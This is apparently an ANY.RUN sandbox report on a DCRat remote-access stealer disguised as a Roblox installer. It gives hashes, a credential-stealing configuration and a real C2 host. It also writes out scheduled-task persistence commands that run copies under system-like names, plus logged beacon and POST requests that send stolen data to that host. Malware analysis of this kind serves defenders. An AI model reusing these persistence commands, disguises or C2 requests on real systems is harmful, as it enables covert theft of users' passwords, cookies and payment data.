File name:

dcrat.a.exe

Full analysis: https://app.any.run/tasks/6e6ee0fd-92ed-4160-8858-831d02ebd81f
Verdict: Malicious activity
Threats:

A backdoor is a type of cybersecurity threat that allows attackers to secretly compromise a system and conduct malicious activities, such as stealing data and modifying files. Backdoors can be difficult to detect, as they often use legitimate system applications to evade defense mechanisms. Threat actors often utilize special malware, such as PlugX, to establish backdoors on target devices.

Malware Trends Tracker     >>>
Analysis date: November 28, 2023, 18:12:21
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
rat
backdoor
dcrat
remote
stealer
evasion
Indicators:
MIME: application/x-dosexec
File info: PE32 executable (GUI) Intel 80386, for MS Windows
MD5:

C37F47FD33D86029AB6CB1BB0A08BF6F

SHA1:

7909059BDBCF50E7F2942C34E40D1A9DECE2862F

SHA256:

CF4EFAD0B9D74151B09BE4ACFB12D1AEA2A9E316B97A2EB7F4CA8AC12B0E6D8C

SSDEEP:

49152:vP2AgFrKj5G0lvhQ5Qv9I8yzoCNHGUwph+grKrNlTzTaCxESHwRd3ar7zrd0oz7s:MFrKdV2qyH3wXNrAlHWCCtK4DEoiiB

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Uses sleep, probably for evasion detection (SCRIPT)

      • wscript.exe (PID: 2852)

    • DCRAT has been detected (SURICATA)

      • WmiPrvSE.exe (PID: 3340)

    • Steals credentials from Web Browsers

      • WmiPrvSE.exe (PID: 3340)

    • DCRAT has been detected (YARA)

      • WmiPrvSE.exe (PID: 3340)

    • Actions looks like stealing of personal data

      • WmiPrvSE.exe (PID: 3340)

  • SUSPICIOUS

    • Reads the Internet Settings

      • dcrat.a.exe (PID: 2876)
      • DCRatBuild.exe (PID: 2848)
      • wscript.exe (PID: 2852)
      • Componentinto.exe (PID: 2512)
      • WmiPrvSE.exe (PID: 3340)

    • Executing commands from a ".bat" file

      • wscript.exe (PID: 2852)

    • Starts CMD.EXE for commands execution

      • wscript.exe (PID: 2852)

    • Runs shell command (SCRIPT)

      • wscript.exe (PID: 2852)

    • Executed via WMI

      • schtasks.exe (PID: 276)
      • schtasks.exe (PID: 2412)
      • schtasks.exe (PID: 3868)
      • schtasks.exe (PID: 1784)
      • schtasks.exe (PID: 3776)
      • schtasks.exe (PID: 3940)
      • schtasks.exe (PID: 2860)
      • schtasks.exe (PID: 2332)
      • schtasks.exe (PID: 304)
      • schtasks.exe (PID: 1952)
      • schtasks.exe (PID: 3640)
      • schtasks.exe (PID: 2316)
      • schtasks.exe (PID: 1696)
      • schtasks.exe (PID: 3428)
      • schtasks.exe (PID: 3084)
      • schtasks.exe (PID: 2896)
      • schtasks.exe (PID: 4088)
      • schtasks.exe (PID: 2984)
      • schtasks.exe (PID: 2112)
      • schtasks.exe (PID: 3000)
      • schtasks.exe (PID: 1004)
      • schtasks.exe (PID: 1296)
      • schtasks.exe (PID: 2064)
      • schtasks.exe (PID: 3508)
      • schtasks.exe (PID: 4008)
      • schtasks.exe (PID: 3612)
      • schtasks.exe (PID: 3752)
      • schtasks.exe (PID: 3288)
      • schtasks.exe (PID: 3572)
      • schtasks.exe (PID: 3152)

    • The process creates files with name similar to system file names

      • Componentinto.exe (PID: 2512)

    • Starts itself from another location

      • Componentinto.exe (PID: 2512)

    • Reads settings of System Certificates

      • WmiPrvSE.exe (PID: 3340)

    • Adds/modifies Windows certificates

      • WmiPrvSE.exe (PID: 3340)

    • Checks for external IP

      • WmiPrvSE.exe (PID: 3340)

    • Reads browser cookies

      • WmiPrvSE.exe (PID: 3340)

    • Loads DLL from Mozilla Firefox

      • WmiPrvSE.exe (PID: 3340)

  • INFO

    • Reads the computer name

      • dcrat.a.exe (PID: 2876)
      • DCRatBuild.exe (PID: 2848)
      • Componentinto.exe (PID: 2512)
      • WmiPrvSE.exe (PID: 3340)
      • wmpnscfg.exe (PID: 3412)

    • Checks supported languages

      • dcrat.a.exe (PID: 2876)
      • DCRatBuild.exe (PID: 2848)
      • Componentinto.exe (PID: 2512)
      • WmiPrvSE.exe (PID: 3340)
      • wmpnscfg.exe (PID: 3412)

    • Create files in a temporary directory

      • dcrat.a.exe (PID: 2876)
      • WmiPrvSE.exe (PID: 3340)

    • Reads the machine GUID from the registry

      • Componentinto.exe (PID: 2512)
      • WmiPrvSE.exe (PID: 3340)
      • wmpnscfg.exe (PID: 3412)

    • Reads product name

      • Componentinto.exe (PID: 2512)
      • WmiPrvSE.exe (PID: 3340)

    • Reads Environment values

      • Componentinto.exe (PID: 2512)
      • WmiPrvSE.exe (PID: 3340)

    • Creates files or folders in the user directory

      • Componentinto.exe (PID: 2512)

    • Manual execution by a user

      • wmpnscfg.exe (PID: 3412)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report

DcRat

(PID) Process(3340) WmiPrvSE.exe
C2 (1)http://ck49537.tw1.ru/@zd3bk5Wa3RHb1FmZlR0X
Options
MutexDCR_MUTEX-3GsLfll3tnqSIAi6fCPy
savebrowsersdatatosinglefilefalse
ignorepartiallyemptydatafalse
cookiestrue
passwordstrue
formstrue
cctrue
historyfalse
telegramtrue
steamtrue
discordtrue
filezillatrue
screenshottrue
clipboardtrue
sysinfotrue
searchpath%UsersFolder% - Fast
Targetru
No Malware configuration.

TRiD

.exe | InstallShield setup (53.2)
.exe | Win32 Executable Delphi generic (17.5)
.scr | Windows screen saver (16.1)
.exe | Win32 Executable (generic) (5.5)
.exe | Win16/32 Executable Delphi generic (2.5)

EXIF

EXE

MachineType: Intel 386 or later, and compatibles
TimeStamp: 1992:06:20 00:22:17+02:00
ImageFileCharacteristics: Executable, No line numbers, No symbols, Bytes reversed lo, 32-bit, Bytes reversed hi
PEType: PE32
LinkerVersion: 2.25
CodeSize: 5120
InitializedDataSize: 1772544
UninitializedDataSize: -
EntryPoint: 0x20cc
OSVersion: 4
ImageVersion: -
SubsystemVersion: 4
Subsystem: Windows GUI
FileVersionNumber: 1.6.0.56855
ProductVersionNumber: 1.6.0.56855
FileFlagsMask: 0x0017
FileFlags: (none)
FileOS: Win32
ObjectFileType: Executable application
FileSubtype: -
LanguageCode: English (U.S.)
CharacterSet: Unicode
CompanyName: Roblox Corporation
FileDescription: Roblox
FileVersion: 1, 6, 0, 6020631
LegalCopyright: Copyright © 2020 Roblox Corporation. All rights reserved.
OriginalFileName: Roblox.exe
ProductName: Roblox Bootstrapper
ProductVersion: 1, 6, 0, 6020631
No data.
screenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
74
Monitored processes
37
Malicious processes
6
Suspicious processes
0

Behavior graph

Click at the process to see the details
start dcrat.a.exe no specs dcratbuild.exe no specs wscript.exe no specs cmd.exe no specs componentinto.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs #DCRAT wmiprvse.exe wmpnscfg.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
276schtasks.exe /create /tn "wininitw" /sc MINUTE /mo 14 /tr "'C:\MSOCache\All Users\{90140000-0018-0409-0000-0000000FF1CE}-C\wininit.exe'" /fC:\Windows\System32\schtasks.exe—WmiPrvSE.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Manages scheduled tasks
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\schtasks.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\ole32.dll
304schtasks.exe /create /tn "mscorsvwm" /sc MINUTE /mo 8 /tr "'C:\Users\admin\PrintHood\mscorsvw.exe'" /rl HIGHEST /fC:\Windows\System32\schtasks.exe—WmiPrvSE.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Manages scheduled tasks
Exit code:
1
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\schtasks.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\ole32.dll
1004schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 9 /tr "'C:\Windows\tracing\PowerTracker\csrss.exe'" /rl HIGHEST /fC:\Windows\System32\schtasks.exe—WmiPrvSE.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Manages scheduled tasks
Exit code:
1
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\schtasks.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\ole32.dll
1296schtasks.exe /create /tn "Idle" /sc ONLOGON /tr "'C:\PortSurrogateAgentWin\Idle.exe'" /rl HIGHEST /fC:\Windows\System32\schtasks.exe—WmiPrvSE.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Manages scheduled tasks
Exit code:
1
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\schtasks.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\ole32.dll
1696schtasks.exe /create /tn "conhostc" /sc MINUTE /mo 13 /tr "'C:\Windows\PCHEALTH\ERRORREP\QSIGNOFF\conhost.exe'" /fC:\Windows\System32\schtasks.exe—WmiPrvSE.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Manages scheduled tasks
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\schtasks.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\ole32.dll
1784schtasks.exe /create /tn "WmiPrvSEW" /sc MINUTE /mo 7 /tr "'C:\MSOCache\All Users\{90140000-00A1-0412-0000-0000000FF1CE}-C\WmiPrvSE.exe'" /fC:\Windows\System32\schtasks.exe—WmiPrvSE.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Manages scheduled tasks
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\schtasks.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\ole32.dll
1952schtasks.exe /create /tn "cmdc" /sc MINUTE /mo 11 /tr "'C:\Users\Public\cmd.exe'" /rl HIGHEST /fC:\Windows\System32\schtasks.exe—WmiPrvSE.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Manages scheduled tasks
Exit code:
1
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\schtasks.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\ole32.dll
2064schtasks.exe /create /tn "IdleI" /sc MINUTE /mo 9 /tr "'C:\PortSurrogateAgentWin\Idle.exe'" /fC:\Windows\System32\schtasks.exe—WmiPrvSE.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Manages scheduled tasks
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\schtasks.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\ole32.dll
2112schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 13 /tr "'C:\Windows\tracing\PowerTracker\csrss.exe'" /fC:\Windows\System32\schtasks.exe—WmiPrvSE.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Manages scheduled tasks
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\schtasks.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\ole32.dll
2316schtasks.exe /create /tn "mscorsvwm" /sc MINUTE /mo 8 /tr "'C:\Users\admin\PrintHood\mscorsvw.exe'" /fC:\Windows\System32\schtasks.exe—WmiPrvSE.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Manages scheduled tasks
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\schtasks.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\ole32.dll
Total events
6 371
Read events
6 315
Write events
50
Delete events
6

Modification events

(PID) Process:(2876) dcrat.a.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:ProxyBypass
Value:
1
(PID) Process:(2876) dcrat.a.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:IntranetName
Value:
1
(PID) Process:(2876) dcrat.a.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:UNCAsIntranet
Value:
1
(PID) Process:(2876) dcrat.a.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:AutoDetect
Value:
0
(PID) Process:(2848) DCRatBuild.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:ProxyBypass
Value:
1
(PID) Process:(2848) DCRatBuild.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:IntranetName
Value:
1
(PID) Process:(2848) DCRatBuild.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:UNCAsIntranet
Value:
1
(PID) Process:(2848) DCRatBuild.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:AutoDetect
Value:
0
(PID) Process:(2852) wscript.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:ProxyBypass
Value:
1
(PID) Process:(2852) wscript.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:IntranetName
Value:
1
Executable files
12
Suspicious files
4
Text files
12
Unknown types
27

Dropped files

PID
Process
Filename
Type
2876dcrat.a.exeC:\Users\admin\AppData\Local\Temp\Stumble Guys.urlurl
MD5:67AC79232DADBEE65D314D99AC3A2998
SHA256:5C92D94DCF349C17B6039547DAED915A402BA8207FEB555BE40646DC930427C5
2876dcrat.a.exeC:\Users\admin\AppData\Local\Temp\DCRatBuild.exeexecutable
MD5:64E4996EA9751BC4C0B7A138C78CDABF
SHA256:135960682367A4D181388494FCD7CB38001EDB16D75FA9034A1EF6A27C6D4533
2512Componentinto.exeC:\MSOCache\All Users\{90140000-00A1-0412-0000-0000000FF1CE}-C\WmiPrvSE.exeexecutable
MD5:CA51FFD6182F5F639488FC1757150859
SHA256:6A8E0C0B704114274EE0B2F4C1D3E6FDE744D67F8B541286ACF6DCA2BA59797A
2848DCRatBuild.exeC:\PortSurrogateAgentWin\Componentinto.exeexecutable
MD5:CA51FFD6182F5F639488FC1757150859
SHA256:6A8E0C0B704114274EE0B2F4C1D3E6FDE744D67F8B541286ACF6DCA2BA59797A
2848DCRatBuild.exeC:\PortSurrogateAgentWin\4gM4TzK0l7M3P5qV6BycaP.vbevbe
MD5:8155F1CA15A96FA2DC06907D93B4B6A7
SHA256:558C7372FBBDA846A88BB4B96BB9E3ECBC49EC0B98309DA6358BE9C06D2DA1E2
2512Componentinto.exeC:\MSOCache\All Users\{90140000-0018-0409-0000-0000000FF1CE}-C\wininit.exeexecutable
MD5:CA51FFD6182F5F639488FC1757150859
SHA256:6A8E0C0B704114274EE0B2F4C1D3E6FDE744D67F8B541286ACF6DCA2BA59797A
2512Componentinto.exeC:\Windows\PCHEALTH\ERRORREP\QSIGNOFF\088424020bedd6text
MD5:4BD666386E8AD54FA20B5E092FE66199
SHA256:—
2512Componentinto.exeC:\PortSurrogateAgentWin\csrss.exeexecutable
MD5:CA51FFD6182F5F639488FC1757150859
SHA256:6A8E0C0B704114274EE0B2F4C1D3E6FDE744D67F8B541286ACF6DCA2BA59797A
2512Componentinto.exeC:\PortSurrogateAgentWin\886983d96e3d3etext
MD5:BA61286EB9ABE42E2587308317FDC3A2
SHA256:—
2512Componentinto.exeC:\Users\admin\AppData\Local\ebf1f9fa8afd6dtext
MD5:36F4D2134708BCB02A7373B96C68A465
SHA256:—
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
9
TCP/UDP connections
9
DNS requests
3
Threats
4

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
3340
WmiPrvSE.exe
GET
200
5.23.50.27:80
http://ck49537.tw1.ru/_Defaultwindows.php?xluEnzax9BpIS9nw5fyr0fDqS=qgYfIt&617d752616c75779ac2babdac9241516=06e77c9560b2219508988a69cab8cd75&22436102822f47cceec98cb7e344a958=QOyUGZwMWN4AzMmVWZhhTY3UGZxIjYiVzM3QzNlVDZzYGM4UGNyMGO&xluEnzax9BpIS9nw5fyr0fDqS=qgYfIt
unknown
—
436 b
unknown
3340
WmiPrvSE.exe
GET
—
5.23.50.27:80
http://ck49537.tw1.ru/_Defaultwindows.php?8DVR5L5G=KvKTL1CVjRO&66cd395ea123f2517b8bc06f2243f1e8=wM0czY3E2MykzY5gTZ2kTYzIWOwYjN5IjZ3MjNwUTYwMTMhJjN0YWM3kDN4MDO3UTNyYjMzgDN&22436102822f47cceec98cb7e344a958=gMxY2NhJGM3UmMkVDM2cTYjBjM4IWYwUzYlRWM0MTOhFjM1Q2MzYGZ&1c3a2cb2b159274aef4f7e8f01f83aee=d1nI5UmNiV2NwImMxcTMjBjNwcDNmJmMzAzM0ImMyYzMzIzN3MzY2EzMhJiOigTMykTZhRjM1kzNiljZiBDZ5MmYxIjM1MzYhdDMykTYiwiIyUTMwUjMjFDO4UTY3kDO3UTNwkjMmF2MmBTOihzN3YTYjVjNmN2NiJiOiQTZmRWZlZzNkVDOhFGO1EDMmVWNhNjY1YmZ2IzM3E2Nis3W
unknown
—
—
unknown
3340
WmiPrvSE.exe
GET
—
5.23.50.27:80
http://ck49537.tw1.ru/_Defaultwindows.php?8DVR5L5G=KvKTL1CVjRO&66cd395ea123f2517b8bc06f2243f1e8=wM0czY3E2MykzY5gTZ2kTYzIWOwYjN5IjZ3MjNwUTYwMTMhJjN0YWM3kDN4MDO3UTNyYjMzgDN&22436102822f47cceec98cb7e344a958=gMxY2NhJGM3UmMkVDM2cTYjBjM4IWYwUzYlRWM0MTOhFjM1Q2MzYGZ&b372a6f035cbd714e3fd15e2900d9019=0VfiIiOiYTN2MWM2M2NzQjNiFzY2YTOzMWYllTYjhzN4ImNjNmNiwiIyQ2MyQ2M4gjNxEDZ4Q2Y3UDZ4ADNzMmZzUTYyEDOyIWYlJDN4ETNjJiOigTMykTZhRjM1kzNiljZiBDZ5MmYxIjM1MzYhdDMykTYiwiIyUTMwUjMjFDO4UTY3kDO3UTNwkjMmF2MmBTOihzN3YTYjVjNmN2NiJiOiQTZmRWZlZzNkVDOhFGO1EDMmVWNhNjY1YmZ2IzM3E2Nis3W
unknown
—
—
unknown
3340
WmiPrvSE.exe
GET
200
87.248.204.0:80
http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab?70940763ac88b67c
unknown
—
61.6 Kb
unknown
3340
WmiPrvSE.exe
GET
200
5.23.50.27:80
http://ck49537.tw1.ru/_Defaultwindows.php?8DVR5L5G=KvKTL1CVjRO&66cd395ea123f2517b8bc06f2243f1e8=wM0czY3E2MykzY5gTZ2kTYzIWOwYjN5IjZ3MjNwUTYwMTMhJjN0YWM3kDN4MDO3UTNyYjMzgDN&22436102822f47cceec98cb7e344a958=gMxY2NhJGM3UmMkVDM2cTYjBjM4IWYwUzYlRWM0MTOhFjM1Q2MzYGZ&b372a6f035cbd714e3fd15e2900d9019=0VfiIiOiYTN2MWM2M2NzQjNiFzY2YTOzMWYllTYjhzN4ImNjNmNiwiI5UmNiV2NwImMxcTMjBjNwcDNmJmMzAzM0ImMyYzMzIzN3MzY2EzMhJiOigTMykTZhRjM1kzNiljZiBDZ5MmYxIjM1MzYhdDMykTYiwiIyUTMwUjMjFDO4UTY3kDO3UTNwkjMmF2MmBTOihzN3YTYjVjNmN2NiJiOiQTZmRWZlZzNkVDOhFGO1EDMmVWNhNjY1YmZ2IzM3E2Nis3W
unknown
—
364 b
unknown
3340
WmiPrvSE.exe
GET
200
5.23.50.27:80
http://ck49537.tw1.ru/_Defaultwindows.php?8DVR5L5G=KvKTL1CVjRO&66cd395ea123f2517b8bc06f2243f1e8=wM0czY3E2MykzY5gTZ2kTYzIWOwYjN5IjZ3MjNwUTYwMTMhJjN0YWM3kDN4MDO3UTNyYjMzgDN&22436102822f47cceec98cb7e344a958=gMxY2NhJGM3UmMkVDM2cTYjBjM4IWYwUzYlRWM0MTOhFjM1Q2MzYGZ&b372a6f035cbd714e3fd15e2900d9019=0VfiIiOiYTN2MWM2M2NzQjNiFzY2YTOzMWYllTYjhzN4ImNjNmNiwiI5UmNiV2NwImMxcTMjBjNwcDNmJmMzAzM0ImMyYzMzIzN3MzY2EzMhJiOigTMykTZhRjM1kzNiljZiBDZ5MmYxIjM1MzYhdDMykTYiwiIyUTMwUjMjFDO4UTY3kDO3UTNwkjMmF2MmBTOihzN3YTYjVjNmN2NiJiOiQTZmRWZlZzNkVDOhFGO1EDMmVWNhNjY1YmZ2IzM3E2Nis3W
unknown
—
—
unknown
3340
WmiPrvSE.exe
GET
200
5.23.50.27:80
http://ck49537.tw1.ru/_Defaultwindows.php?8DVR5L5G=KvKTL1CVjRO&66cd395ea123f2517b8bc06f2243f1e8=wM0czY3E2MykzY5gTZ2kTYzIWOwYjN5IjZ3MjNwUTYwMTMhJjN0YWM3kDN4MDO3UTNyYjMzgDN&22436102822f47cceec98cb7e344a958=gMxY2NhJGM3UmMkVDM2cTYjBjM4IWYwUzYlRWM0MTOhFjM1Q2MzYGZ&7a77a334905f019e301044d82003a3d5=d1nIPBHRkxGeHJGakZUS2JFSjVjSzE1ZNhVWJBXUE9EcERGb4dkYoRmRJBXOtNmdsx2QORzaPBjVHJ2cGJjVnl0VahlQpRFUSx2QORzaPBjVHJ2cGJjVnBjMiBTNXl1bCx2QORzaPBjVHJ2cGJjVnl0VahlQTpla1cVW1xWbRtEMnRlNRhlWzh3VZhlQpJGc1IjYTBXUE9EcERGb4dkYoRmRJJXNXFWT1IjY5JFbD5ENr9EMWdkYzZkMWd2cyMGaxUVWwY1VUJiOiYTN2MWM2M2NzQjNiFzY2YTOzMWYllTYjhzN4ImNjNmNiwiI5UmNiV2NwImMxcTMjBjNwcDNmJmMzAzM0ImMyYzMzIzN3MzY2EzMhJiOigTMykTZhRjM1kzNiljZiBDZ5MmYxIjM1MzYhdDMykTYiwiIyUTMwUjMjFDO4UTY3kDO3UTNwkjMmF2MmBTOihzN3YTYjVjNmN2NiJiOiQTZmRWZlZzNkVDOhFGO1EDMmVWNhNjY1YmZ2IzM3E2Nis3W
unknown
—
—
unknown
3340
WmiPrvSE.exe
GET
200
5.23.50.27:80
http://ck49537.tw1.ru/_Defaultwindows.php?8DVR5L5G=KvKTL1CVjRO&66cd395ea123f2517b8bc06f2243f1e8=wM0czY3E2MykzY5gTZ2kTYzIWOwYjN5IjZ3MjNwUTYwMTMhJjN0YWM3kDN4MDO3UTNyYjMzgDN&22436102822f47cceec98cb7e344a958=gMxY2NhJGM3UmMkVDM2cTYjBjM4IWYwUzYlRWM0MTOhFjM1Q2MzYGZ&b372a6f035cbd714e3fd15e2900d9019=QX9JSUNJiOiYTN2MWM2M2NzQjNiFzY2YTOzMWYllTYjhzN4ImNjNmNiwiI5AzNmJWN2cTNmRzNlJTNkR2M5MjY3gzMhZ2MwgzYidjNhVWY2gTZ0IiOigTMykTZhRjM1kzNiljZiBDZ5MmYxIjM1MzYhdDMykTYiwiIyUTMwUjMjFDO4UTY3kDO3UTNwkjMmF2MmBTOihzN3YTYjVjNmN2NiJiOiQTZmRWZlZzNkVDOhFGO1EDMmVWNhNjY1YmZ2IzM3E2Nis3W
unknown
—
—
unknown
3340
WmiPrvSE.exe
POST
200
5.23.50.27:80
http://ck49537.tw1.ru/_Defaultwindows.php?8DVR5L5G=KvKTL1CVjRO&66cd395ea123f2517b8bc06f2243f1e8=wM0czY3E2MykzY5gTZ2kTYzIWOwYjN5IjZ3MjNwUTYwMTMhJjN0YWM3kDN4MDO3UTNyYjMzgDN&22436102822f47cceec98cb7e344a958=gMxY2NhJGM3UmMkVDM2cTYjBjM4IWYwUzYlRWM0MTOhFjM1Q2MzYGZ
unknown
—
—
unknown
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
4
System
192.168.100.255:138
—
—
—
unknown
4
System
192.168.100.255:137
—
—
—
unknown
2588
svchost.exe
239.255.255.250:1900
—
—
—
unknown
1080
svchost.exe
224.0.0.252:5355
—
—
—
unknown
3340
WmiPrvSE.exe
5.23.50.27:80
ck49537.tw1.ru
TimeWeb Ltd.
RU
unknown
3340
WmiPrvSE.exe
34.117.59.81:443
ipinfo.io
GOOGLE-CLOUD-PLATFORM
US
whitelisted
3340
WmiPrvSE.exe
87.248.204.0:80
ctldl.windowsupdate.com
LLNW
US
unknown

DNS requests

Domain
IP
Reputation
ck49537.tw1.ru
  • 5.23.50.27
unknown
ipinfo.io
  • 34.117.59.81
shared
ctldl.windowsupdate.com
  • 87.248.204.0
unknown

Threats

PID
Process
Class
Message
3340
WmiPrvSE.exe
A Network Trojan was detected
ET MALWARE DCRAT Activity (GET)
3340
WmiPrvSE.exe
Device Retrieving External IP Address Detected
ET POLICY Possible External IP Lookup Domain Observed in SNI (ipinfo. io)
3340
WmiPrvSE.exe
Device Retrieving External IP Address Detected
ET POLICY Possible External IP Lookup SSL Cert Observed (ipinfo.io)
3340
WmiPrvSE.exe
A Network Trojan was detected
ET HUNTING Observed Malicious Filename in Outbound POST Request (Information.txt)
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2025 ANY.RUN ALL RIGHTS RESERVED
ANY.RUN
Reports
dcrat.a.exe